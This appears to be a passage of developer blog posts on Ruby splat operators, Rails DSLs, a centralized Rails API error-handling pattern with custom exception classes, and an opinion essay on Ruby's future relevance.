  • Keeps code DRY without string interpolation.

📦 3. Ruby’s *arg and **arg Operators

⭐ Single Splat: *args

  • Definition: Packs extra positional args into an array, or unpacks an array into individual arguments. def foo(a, *others) p a # first arg p others # rest as an array end foo(1, 2, 3) # a=1, others=[2,3] foo(*[4,5,6]) # same as foo(4,5,6)

✨ Double Splat: **kwargs

  • Definition: Packs extra keyword args into a hash, or unpacks a hash into keyword arguments. def bar(x:, **opts) p x # required keyword p opts # other keywords in a hash end bar(x: 10, y: 20, z: 30) # opts={y:20, z:30} bar(**{x:1, y:2}) # same as bar(x:1, y:2)

📚 4. What Is a DSL? Main Ruby DSLs in Rails

A DSL (Domain‑Specific Language) is an internal API that reads like its own language, tailored to a task. Rails ships with many:

🚦 Routing DSL

Rails.application.routes.draw do
  resources :users
end

🏗️ ActiveRecord Query DSL

User.where(active: true)
    .order(created_at: :desc)
    .limit(10)

🗄️ Migrations DSL

class CreateProducts < ActiveRecord::Migration[8.0]
  def change
    create_table :products do |t|
      t.string :name
      t.decimal :price
    end
  end
end

💬 Validation DSL

class User < ApplicationRecord
  validates :email, presence: true, uniqueness: true
end

🔄 Callback DSL

class Order < ApplicationRecord
  before_save :calculate_total
  after_commit :send_confirmation_email
end

✔️ These meta-programming techniques and splat operators power Ruby’s flexibility—and underpin the expressive DSLs that make Rails code so readable.


Enjoy Ruby! 🚀

Rails 7+ API error handling that scales ⚖️

A solid API error strategy gives you:

  • Consistent JSON error shapes
  • Correct HTTP status codes
  • Separation of concerns (domain vs transport)
  • Observability without leaking internals

Below is a practical, production-ready approach that covers controller hooks, controllers, models/libs, background jobs, and more—illustrated with a real scenario from Session::CouponCode.

Core principles

  • Keep transport (HTTP, JSON) in controllers; keep domain logic in models/libs.
  • Map known, expected failures to specific HTTP statuses.
  • Log unexpected failures; return a generic message to clients.
  • Centralize API error rendering in a base controller.

1) A single error boundary for all API controllers

Create a base Error::ApiError and rescue it (plus a safe catch‑all) in your ApiController.

# lib/error/api_error.rb
module Error
  class ApiError < StandardError
    attr_reader :status, :details
    def initialize(message, status = :unprocessable_entity, details: nil)
      super(message)
      @status  = status
      @details = details
    end
  end
end
# app/controllers/api_controller.rb
class ApiController < ActionController::Base
  include LocaleConcern
  skip_forgery_protection

  impersonates :user,
               ......

  # Specific handlers first
  rescue_from Error::ApiError,                          with: :handle_api_error
  rescue_from ActionController::ParameterMissing,       with: :handle_bad_request
  rescue_from ActiveRecord::RecordNotFound,             with: :handle_not_found
  rescue_from ActiveRecord::RecordInvalid,              with: :handle_unprocessable
  rescue_from ActiveRecord::RecordNotUnique,            with: :handle_conflict

  # Catch‑all last
  rescue_from StandardError,                            with: :handle_standard_error

  private

  def handle_api_error(e)
    render json: { success: false, error: e.message, details: e.details }, status: e.status
  end

  def handle_bad_request(e)
    render json: { success: false, error: e.message }, status: :bad_request
  end

  def handle_not_found(_e)
    render json: { success: false, error: 'Not found' }, status: :not_found
  end

  def handle_unprocessable(e)
    render json: { success: false, error: e.record.errors.full_messages }, status: :unprocessable_entity
  end

  def handle_conflict(_e)
    render json: { success: false, error: 'Conflict' }, status: :conflict
  end

  def handle_standard_error(e)
    Rollbar.error(e, path: request.fullpath, client_id: try(:current_client)&.id)
    render json: { success: false, error: 'Something went wrong' }, status: :internal_server_error
  end
end
  • Order matters. Specific rescue_from before StandardError.
  • This pattern avoids duplicating rescue_from across controllers and keeps HTML controllers unaffected.

2) Errors in before actions

Because before_action runs inside controllers, the same rescue_from handlers apply.

Two patterns:

  • Render in the hook for simple guard clauses:
before_action :require_current_client

def require_current_client
  return if current_client
  render json: { success: false, error: 'require_login' }, status: :unauthorized
end
  • Raise a domain/auth error and let rescue_from handle JSON:
# lib/error/unauthorized_error.rb
module Error
  class UnauthorizedError < Error::ApiError
    def initialize(message = 'require_login') = super(message, :unauthorized)
  end
end

before_action :require_current_client

def require_current_client
  raise Error::UnauthorizedError unless current_client
end

Prefer raising if you want consistent global handling and logging.

3) Errors inside controllers

Use explicit renders for happy-path control flow; raise for domain failures:

def create
  form = CreateThingForm.new(params.require(:thing).permit(:name))
  result = CreateThing.new(form: form).call

  if result.success?
    render json: { success: true, thing: result.thing }, status: :created
  else
    # Known domain failure → raise an ApiError to map to 422
    raise Error::ApiError.new(result.message, :unprocessable_entity, details: result.details)
  end
end

Common controller exceptions (auto-mapped above):

  • ActionController::ParameterMissing → 400
  • ActiveRecord::RecordNotFound → 404
  • ActiveRecord::RecordInvalid → 422
  • ActiveRecord::RecordNotUnique → 409

4) Errors in models, services, and libs

Do not call render here. Either:

  • Return a result object (Success/Failure), or
  • Raise a domain‑specific exception that the controller maps to an HTTP response.

Example from our scenario, Session::CouponCode:

# lib/error/session/coupon_code_error.rb
module Error
  module Session
    class CouponCodeError < Error::ApiError; end
  end
end
# lib/session/coupon_code.rb
class Session::CouponCode
  def discount_dollars
    # ...
    case
    when coupon_code.gift_card?
      # ...
    when coupon_code.discount_code?
      # ...
    when coupon_code.multiorder_discount_code?
      # ...
    else
      raise Error::Session::CouponCodeError, 'Unrecognized discount code'
    end
  end
end

Then, in ApiController, the specific handler (or the Error::ApiError handler) renders JSON with a 422.

This preserves separation: models/libs raise; controllers decide HTTP.

5) Other important surfaces

  • ActiveJob / Sidekiq
  • Prefer retry_on, discard_on, and job‑level rescue with logging.
  • Return no HTTP here; jobs are async.
class MyJob < ApplicationJob
  retry_on Net::OpenTimeout, wait: 10.seconds, attempts: 3
  discard_on Error::ApiError
  rescue_from(StandardError) { |e| Rollbar.error(e) }
end
  • Mailers
  • Use rescue_from to avoid bubble‑ups crashing deliveries:
class ApplicationMailer < ActionMailer::Base
  rescue_from Postmark::InactiveRecipientError, Postmark::InvalidEmailRequestError do
    # no-op / log
  end
end
  • Routing / 404
  • For APIs, keep 404 mapping at the controller boundary with rescue_from ActiveRecord::RecordNotFound.
  • For HTML, config.exceptions_app = routes + ErrorsController.
  • Middleware / Rack
  • For truly global concerns, use middleware. This is rarely necessary for controller-scoped API errors in Rails.
  • Validation vs. Exceptions
  • Use validations (ActiveModel/ActiveRecord) for expected user errors.
  • Raise exceptions for exceptional conditions (invariants violated, external systems fail unexpectedly).

6) Observability

  • Always log unexpected errors in the catch‑all (StandardError).
  • Add minimal context: client_id, request.fullpath, feature flags.
  • Avoid leaking stack traces or internal messages to clients. Send generic messages on 500s.

7) Testing

  • Unit test domain services to ensure they raise Error::ApiError (or return Failure).
  • Controller/request specs: assert status codes and JSON shapes for both happy path and error path.
  • Ensure before_action guards either render or raise as intended.

Applying this to our scenario

  • /lib/session/coupon_code.rb raises Error::Session::CouponCodeError on unknown/invalid discount values.
  • /app/controllers/api_controller.rb rescues that error and returns JSON:
  • { success: false, error: e.message } with a 422 (or via Error::ApiError base).

This converts prior 500s into clean API responses and keeps error handling centralized.

When to generalize vs. specialize

  • Keep a catch‑all rescue_from StandardError in ApiController to prevent 500s from leaking internals.
  • Still add specific handlers (or subclass Error::ApiError) for known cases to control the correct status code and message.
  • Do not replace everything with only StandardError—you’ll lose semantics and proper HTTP codes.

  • Key takeaways
  • Centralize API‐wide error handling in ApiController using specific handlers + a safe catch‑all.
  • Raise domain errors in models/libs; render JSON only in controllers.
  • Map common Rails exceptions to correct HTTP statuses; log unexpected errors.
  • Prefer Error::ApiError as a base for consistent message/status handling across the API.

🔮 The Future of Ruby: Is It Still Relevant in 2025 and Beyond?

Ruby, the language that brought joy back into programming, is now over two decades old. It revolutionized web development through Rails and championed a developer-first philosophy. But in the era of AI, server-less, and systems programming, is Ruby still relevant? With Python dominating AI, Go owning the backend space, and Elixir praised for concurrency — where does Ruby stand?

Let’s explore Ruby’s current state, the challenges it faces, and what the future might hold.


🧱 What Ruby Still Does Exceptionally Well

1. Web Development with Rails

Ruby on Rails remains one of the fastest and most pleasant ways to build web applications. It’s productive, expressive, and mature.

  • Companies like GitHub, Shopify, Basecamp, and Hey.com still use Rails at scale.
  • Rails 8 introduced modern features like Turbo, Hotwire, and Kamal (for zero-downtime deploys).
  • It’s still a top pick for startups wanting to build MVPs quickly.

2. Developer Happiness

The principle of “developer happiness” is deeply embedded in Ruby’s philosophy:

  • Intuitive syntax
  • Expressive and readable code
  • A community that values elegance over boilerplate

Ruby continues to be one of the best languages for teaching programming, prototyping ideas, or building software that feels joyful to write.


⚠️ Challenges Facing Ruby Today

1. Performance Limitations

Ruby’s performance has improved dramatically with YJIT, MJIT, and better memory handling. But it still lags behind languages like Go or Rust in raw speed, especially in CPU-bound or concurrent environments.

2. Concurrency and Parallelism

  • Ruby has a Global Interpreter Lock (GIL) in MRI, which limits real parallelism.
  • While Fibers and async gems (async, polyphony, concurrent-ruby) help, it’s not as seamless as Go’s goroutines or Elixir’s lightweight processes.

3. Ecosystem Narrowness

Ruby’s ecosystem is tightly tied to Rails.

  • Unlike Python, which powers AI, data science, and automation…
  • Or JavaScript, which rules the browser and serverless space…

Ruby hasn’t made significant inroads outside web development.

4. Enterprise Perception

Many large enterprises shy away from Ruby, viewing it as either:

  • A “legacy startup language“, or
  • Too dynamic and flexible for highly-regulated or enterprise-scale environments.

🛠️ How Can Ruby Improve?

💡 1. Concurrency and Async Programming

  • Embrace the shift toward non-blocking IO, async/await patterns.
  • Invest in the ecosystem around async, falcon, and evented web servers.

💡 2. AI/ML Integration

  • Ruby doesn’t need to compete with Python in AI, but it can bridge to Python using gems like pycall, pybind11, or ruby-dlib.
  • Better interop with other platforms like JRuby, TruffleRuby, or even WebAssembly can unlock new domains.

💡 3. Broaden Ecosystem Use

  • Encourage usage outside web: CLI tools, static site generation, scripting, DevOps, etc.
  • Frameworks like Hanami, Roda, Dry-rb, and Trailblazer are promising.

💡 4. Stronger Developer Outreach

  • More documentation, YouTube tutorials, free courses, and evangelism.
  • Encourage open source contribution in tools beyond Rails.

📉 Will Rails Usage Decline?

Not disappear, but become more specialized.

Rails is no longer the hottest framework — but it’s still one of the most productive and complete options for web development.

  • Startups love it for speed of development.
  • Mid-sized businesses rely on it for stability and maintainability.
  • But serverless-first, JavaScript-heavy, or cloud-native stacks may bypass it in favor of Next.js, Go, or Elixir/Phoenix.

The challenge is staying competitive in the face of frameworks that promise better real-time capabilities and lightweight microservices.

🌟 Why Ruby Still Matters

Despite all that, Ruby still offers:

  • 🧘‍♂️ Developer productivity
  • 🧩 Readable, expressive syntax
  • 🚀 Fast prototyping
  • ❤️ A helpful, mature community
  • 🧪 First-class TDD culture

It’s a joy to write in Ruby. For many developers, that alone is enough.


🔚 Final Thoughts: The Joyful Underdog

Ruby is no longer the main character in the programming language race. But that’s okay.

In a world chasing performance benchmarks, Ruby quietly reminds us: “Programming can still be beautiful.

The future of Ruby lies in:

  • Focusing on what it does best (developer experience, productivity)
  • Expanding into new areas (concurrency, scripting, interop)
  • And adapting — not by competing with Go or Python, but by embracing its unique strengths.

Go with Ruby! 🚀